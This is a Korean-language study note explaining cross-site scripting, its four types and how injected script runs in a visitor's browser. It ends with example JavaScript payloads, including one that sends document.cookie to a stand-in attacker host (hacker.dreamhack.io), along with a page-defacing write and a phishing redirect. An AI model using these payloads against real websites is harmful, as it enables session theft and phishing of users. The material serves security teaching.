공격자가 웹 리소스에 악성 스크립트를 삽입하여, 이를 방문하는 이용자의 웹 브라우저에서 해당 스크립트를 실행시키는 공격
<aside>
예시
드림핵 웹 페이지에서 XSS 취약점이 존재하면, 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있다.
</aside>
XSS 공격은 주로 이용자가 삽입한 내용을 출력하는 기능에서 발생함.
클라이언트(웹 브라우저)는 HTTP 형식으로 웹 서버에 리소스를 요청하고 서버로부터 받은 응답( = HTML, CSS, JS 등의 웹 리소스)을 시각화하여 이용자에게 보여줌. 이때 XSS 취약점이 존재하는 경우, 악의적인 코드가 삽입된 HTML, CSS, JS와 같은 리소스가 이용자에게 전송되어, 변조된 페이지를 보게 하거나 해당 스크립트를 강제로 실행시킬 수 있음.
| 종류 | 설명 |
|---|---|
| Stored XSS | XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS |
| Reflected XSS | XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS |
| DOM-based XSS | XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS |
| Universal XSS | 클라이언트의 브라우저 or 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS |
⇒ 따라서 공격자는 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거 웹 브라우저의 위치를 임의의 주소로 변경할 수 있음.
<script>
alert("hello"); // "hello" 문자열 alert 실행
document.cookie; // 현재 페이지의 쿠키(return type: string)
alert(document.cookie); // 현재 페이지의 쿠키를 인자로 가진 alert 실행
document.cookie = "name=test;";
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
<script>
document; // 이용자의 페이지 정보에 접근
document.write("Hacked By Dreamhack!"); // 이용자의 페이지에 데이터를 삽입
</script>
<scrpit>
location.href = "http://hacker.dreamhack.io/phishing"; // 이용자의 위치를 변경 --> 피싱 공격 등으로 사용됨
window.open("http://hacker.dreamhack.io/") // 새 창 열기
</script>